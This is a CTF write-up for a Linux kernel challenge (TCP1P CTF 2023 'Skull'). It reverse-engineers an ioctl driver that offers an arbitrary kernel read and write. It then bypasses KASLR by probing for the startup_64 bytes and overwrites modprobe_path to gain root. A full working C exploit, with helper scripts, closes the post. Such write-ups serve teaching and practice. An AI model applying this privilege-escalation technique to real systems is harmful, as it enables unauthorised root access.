Skull is a Linux kernel challenge from TCP1P CTF 2023. The module is only a
few functions, but IDA split its 16-byte ioctl request into two stack
variables, so the actual layout was not obvious from the decompilation.
Once the request layout is written down, the bug is very direct:
- Command
0x6969copies eight bytes from an attacker-chosen kernel address back into the request. - Command
0xFADEcopies eight bytes from an attacker-chosen userspace address to an attacker-chosen kernel address. - Failed reads return
-EFAULTinstead of crashing the kernel, so the read primitive is also a mapped-address oracle. - The x86-64 KASLR candidates are 2 MiB apart. I scan them for the first
bytes of
startup_64. - With the runtime
_textaddress known, I calculatemodprobe_pathand replace it with an absolute helper path using two eight-byte writes.
The final flow is:
open /dev/cook
-> probe possible startup_64 addresses with ioctl 0x6969
-> compare a known instruction qword
-> recover the runtime _text address
-> add the static modprobe_path offset
-> write /home/blud/x\0 with two ioctl 0xFADE calls
-> execute a file with invalid binary magic
-> kernel invokes /home/blud/x as root
-> helper makes the exploit binary SUID-root
-> execute the exploit again in shell mode
-> normalize the real and effective IDs to root before starting BusyBox
Made a mermaid diagram below to make it visual

1. Reading the challenge environment
The handout boots Linux 6.1.56. My local launcher uses:
qemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep,+smap \
-nographic \
-kernel handout/bzImage \
-initrd rootfs-with-poc.cpio.gz \
-append "console=ttyS0 quiet kaslr panic=1 kpti=1 oops=panic"
The relevant mitigations are KASLR, SMEP, SMAP, and KPTI. This exploit never executes a ROP chain or userspace code at ring 0, so only KASLR needs an active bypass. The other mitigations do not stop a data-only overwrite performed by the kernel's own uaccess helpers.
The init script loads cook.ko, creates a world-accessible device, and drops
to the blud user:
modprobe cook
mknod -m 666 /dev/cook c `grep cook /proc/devices | awk '{print $1;}'` 0
setsid cttyhack setuidgid blud sh
It also locks down /root recursively:
chmod 700 -R /root
Changing the mode of a file inside /root would not let blud open it while
the parent directory still denies traversal. I instead use the root helper to
create an interactive root shell.
2. Reconstructing the ioctl request
The arbitrary-read branch in IDA:

The arbitrary-write branch:

With the printk and stack-canary boilerplate removed, the relevant handler is:
long gyattt_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
void *v5;
unsigned long v6;
if (cmd == 0x6969) {
if (copy_from_user(&v5, (void __user *)arg, 16) != 0)
return -EFAULT;
if (copy_to_user((void __user *)arg, (void *)v6, 8) != 0)
return -EFAULT;
return 0;
}
if (cmd == 0xFADE) {
if (copy_from_user(&v5, (void __user *)arg, 16) != 0)
return -EFAULT;
if (copy_from_user(v5, (void __user *)v6, 8) != 0)
return -EFAULT;
}
return 0;
}
The third ioctl argument is a userspace address:
ioctl(fd, command, &request);
Inside the kernel, arg contains the numeric value of &request. The first
copy_from_user() copies 16 bytes starting there.
The stack offsets explain why a 16-byte copy into &v5 is not overwriting the
canary:
kernel stack
&v5 + 0x00 v5 first 8 bytes
&v5 + 0x08 v6 second 8 bytes
&v5 + 0x10 canary
IDA represented a small request object as two adjacent locals. The actual mapping is:
userspace request kernel stack
+0x00 first qword ---------> v5
+0x08 second qword ---------> v6
The exploit uses this definition:
typedef struct k_request {
uint64_t value;
uint64_t kptr;
} k_request;
Distinct marker bytes in each qword make the placement easy to verify in GDB.
3. Command 0x6969 is an eight-byte kernel read
The uaccess prototypes are easiest to read with their real argument names:
copy_from_user(kernel_destination, userspace_source, size);
copy_to_user(userspace_destination, kernel_source, size);
After the 16-byte request copy, command 0x6969 executes:
copy_to_user((void __user *)arg, (void *)v6, 8);
v6 came from the request's second qword. The destination is arg, which
points to the beginning of the same request. The operation is therefore:
req.kptr is interpreted as a kernel source address
eight bytes are read from req.kptr
the bytes overwrite req.value
The correct request layout for a read is:
before ioctl 0x6969
req.value = output placeholder
req.kptr = kernel address to read
after a successful ioctl
req.value = *(uint64_t *)req.kptr
req.kptr = unchanged
The kernel-read source must be in the second qword. The module copies exactly 16 bytes, so only those two qwords reach the kernel stack.
The working wrapper is:
static int read_kernel(int fd, uint64_t address, uint64_t *result) {
k_request req = {
.value = 0,
.kptr = address,
};
if (ioctl(fd, 0x6969, &req) == -1) {
return -1;
}
*result = req.value;
return 0;
}
I check the ioctl result rather than testing req.value != 0. A valid kernel
address may legitimately contain zero. An unreadable address makes the module
return -EFAULT, which libc exposes as ioctl() == -1 with errno == EFAULT.
4. Command 0xFADE is an eight-byte kernel write
The first copy is identical, so the same mapping applies:
req.value -> v5
req.kptr -> v6
The second operation is different:
copy_from_user(v5, (void __user *)v6, 8);
For this command:
v5 = kernel destination address
v6 = userspace source address
The second qword is a pointer to the source bytes, not the eight-byte value itself.
req.value = destination in kernel memory
req.kptr = address of eight bytes in userspace
copy_from_user(req.value, req.kptr, 8)
The wrapper is:
static int write_kernel(int fd, uint64_t address1, char *path) {
char *new_path = path;
k_request req = {
.value = address1,
.kptr = *(uint64_t *)&new_path,
};
if (ioctl(fd, 0xFADE, &req) == -1) {
return -1;
}
return 0;
}
SMAP does not block this because copy_from_user() is the supported path for
reading userspace memory. The module itself temporarily performs the required
access and handles faults.
At this point the driver gives an eight-byte arbitrary kernel read and write. The remaining problem is finding the randomized kernel image.
5. Using failed reads as a KASLR oracle
An arbitrary read still needs an address. One option is to leak a kernel object pointer and subtract a known symbol offset. This handler also provides a mapped-address oracle.
When copy_to_user() receives an invalid kernel source, the uaccess exception
table recovers from the page fault. The helper reports bytes not copied, and
the ioctl returns -EFAULT. The VM stays alive.
That turns every read into this question:
is this candidate address readable?
KASLR does not choose an arbitrary canonical address. For this x86-64 build, the kernel text candidates retain their offset within a 2 MiB alignment:
0xffffffff81000000
0xffffffff81200000
0xffffffff81400000
...
The scan needs a way to distinguish _text from an unrelated readable page.
During a nokaslr boot I inspected the first qword of startup_64:
gef> x/gx 0xffffffff81000000
0xffffffff81000000 <startup_64>: 0x4801803f51258d48

This qword contains the first eight instruction bytes of startup_64. KASLR
relocates the supplied kernel image, but these bytes stay the same. The value
is build-specific and may change if the kernel is rebuilt.
The exploit scans for that qword directly:
uint64_t value;
for (uint64_t addr = 0xffffffff81000000;
addr < 0xffffffffc1000000;
addr += 0x20000) {
if (read_kernel(fd, addr, &value) == 0 &&
value == 0x4801803f51258d48ULL) {
printf("runtime _text:%#lx\n", addr);
kbase = addr;
break;
}
}
The loop steps by 0x20000 (128 KiB). That is smaller than the 2 MiB KASLR
alignment, so it makes extra probes but still reaches every possible base.
The matching PoC and GEF values confirm the request mapping and identify the
runtime kbase.

6. Calculating modprobe_path
In a nokaslr boot, GEF resolved:
gef> x/s 0xffffffff82852420
0xffffffff82852420 <modprobe_path>: "/sbin/modprobe"
The offset from _text is:
static modprobe_path = 0xffffffff82852420
static _text = 0xffffffff81000000
offset = 0x01852420
Adding that build-specific offset to the runtime kernel base gives the runtime
address of modprobe_path:
uint64_t modprobe_path = kbase + 0x01852420;
7. The helper path needs two writes
Each 0xFADE ioctl writes exactly eight bytes. modprobe_path should contain
an absolute path because the kernel usermode-helper worker does not reliably
use the interactive shell's working directory. The helper path is:
/home/blud/x\0
In this rootfs, the init script creates /tmp as a root-owned 0755
directory. blud cannot create /tmp/x, while /home/blud is explicitly
owned by blud. The helper therefore lives at /home/blud/x.
The path is longer than eight bytes, so the exploit splits it across two writes:
char part1[] = "/home/bl";
char part2[] = "ud/x\x00";
write_kernel(fd, modprobe_path, part1);
write_kernel(fd, modprobe_path + 8, part2);
The chunks are:
destination source bytes
----------------------- -------------------------
modprobe_path + 0x00 "/home/bl"
modprobe_path + 0x08 "ud/x\0..."
The NUL after ud/x terminates the helper path. Only /home/blud/x is used as
the filename.
8. Triggering the overwritten helper
The helper script is created before changing kernel memory:
void setup(){
FILE *f = fopen("/home/blud/x", "w");
fprintf(f, "#!/bin/sh\n");
fprintf(f, "chown root:root /home/blud/poc\n");
fprintf(f, "chmod 4755 /home/blud/poc\n");
fclose(f);
chmod("/home/blud/x", 0755);
// Create /tmp/execthis with invalid binary magic
f = fopen("/home/blud/execthis", "wb");
char magic[] = {0xff, 0xff, 0xff, 0xff};
fwrite(magic, 1, 4, f);
fclose(f);
chmod("/home/blud/execthis", 0755);
}
The script runs as root through modprobe_path. It changes the owner of the
exploit binary to root and sets mode 4755, so later executions start with
effective UID 0.
The trigger file contains an unsupported binary header.
When Linux cannot find a binary-format handler for the file, it requests a
module for the unknown format. That request uses modprobe_path, which now
contains /home/blud/x. I covered this trigger in more detail in my earlier
modprobe_path post.
system("/home/blud/execthis");
execl("/home/blud/poc", "poc", "shell", NULL);
The file remains invalid after the module request returns, so BusyBox may
print a not found error while handling it. By then the helper has already
made /home/blud/poc SUID-root.
9. Getting a root shell
The second execution must avoid running the kernel exploit again. I use one
argument to select a short shell path at the start of main():
if (argc == 2 && !strcmp(argv[1], "shell")) {
if (setgid(0) || setuid(0)) {
perror("setuid/setgid");
return 1;
}
execl("/bin/sh", "sh", NULL);
perror("execl");
return 1;
}
When blud executes the SUID-root poc, Linux gives it real UID 1000 and
effective UID 0. Starting BusyBox ash in that state is not enough because
the shell drops the elevated effective UID. At this point poc still has
effective UID 0, so setgid(0) and setuid(0) can set the real and effective
IDs to 0 before /bin/sh starts.
The second execl() call is equivalent to executing:
/home/blud/poc shell
Its arguments become:
argc = 2
argv[0] = "poc" conventional process name
argv[1] = "shell" selects the root-shell branch
argv[2] = NULL end of the argument vector
The first execl() parameter is the real filesystem path. The remaining
strings form the new program's argument vector; the final NULL is mandatory
because execl() is variadic. It replaces the current process rather than
forking, and only returns when execution fails.
10. End-to-end exploit flow
create /home/blud/x as an executable root helper
-> create /home/blud/execthis with invalid magic
-> open /dev/cook
-> put a candidate kernel address in request qword 2
-> ioctl 0x6969 copies eight kernel bytes into qword 1
-> failed candidates return EFAULT without crashing
-> advance candidates by 0x20000
-> match the startup_64 qword
-> runtime _text is known
-> add modprobe_path offset 0x01852420
-> ioctl 0xFADE writes the first eight path bytes
-> ioctl 0xFADE writes the remaining bytes and NUL
-> execute the invalid file
-> kernel requests a binfmt module through the replaced helper path
-> /home/blud/x runs as root
-> helper changes /home/blud/poc to root:root mode 4755
-> execute /home/blud/poc shell
-> SUID gives poc effective UID 0
-> poc calls setgid(0) and setuid(0)
-> execute /bin/sh with real and effective IDs already 0
11. Full exploit
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
typedef unsigned long long u64;
void setup(){
FILE *f = fopen("/home/blud/x", "w");
fprintf(f, "#!/bin/sh\n");
fprintf(f, "chown root:root /home/blud/poc\n");
fprintf(f, "chmod 4755 /home/blud/poc\n");
fclose(f);
chmod("/home/blud/x", 0755);
// Create /tmp/execthis with invalid binary magic
f = fopen("/home/blud/execthis", "wb");
char magic[] = {0xff, 0xff, 0xff, 0xff};
fwrite(magic, 1, 4, f);
fclose(f);
chmod("/home/blud/execthis", 0755);
}
typedef struct k_request {
uint64_t value; //output
uint64_t kptr; //input
} k_request;
static int read_kernel(int fd, uint64_t address, uint64_t *result) {
k_request req = {
.value = 0,
.kptr = address,
};
if (ioctl(fd, 0x6969, &req) == -1) {
return -1;
}
*result = req.value;
return 0;
}
static int write_kernel(int fd, uint64_t address1, char *path) {
char *new_path = path;
k_request req = {
.value = address1,
.kptr = *(uint64_t*)&new_path,
};
if (ioctl(fd, 0xFADE, &req) == -1) {
return -1;
}
return 0;
}
static u64 kbase;
int main(int argc, char **argv) {
if (argc == 2 && !strcmp(argv[1], "shell")) {
if (setgid(0) || setuid(0)) {
perror("setuid/setgid");
return 1;
}
execl("/bin/sh", "sh", NULL);
perror("execl");
return 1;
}
setup();
const int fd = open("/dev/cook", O_RDWR);
/*
read primitive
*/
uint64_t value;
for (uint64_t addr = 0xffffffff81000000; addr < 0xffffffffc1000000; addr += 0x20000) {
if (read_kernel(fd, addr, &value) == 0 &&
value == 0x4801803f51258d48ULL) { // bytes start of kbase to check if its kbase
printf("runtime _text:%#lx\n", addr);
kbase = addr;
break;
}
}
/*
write primitive
*/
const u64 modprobe_path = kbase + 0x01852420;
printf("modprobe_path:%#lx\n", modprobe_path);
char part1[] = "/home/bl";
char part2[] = "ud/x\x00";
write_kernel(fd, modprobe_path, part1);
write_kernel(fd, modprobe_path+8, part2);
system("/home/blud/execthis");
execl("/home/blud/poc", "poc", "shell", NULL);
perror("execl");
return 0;
}
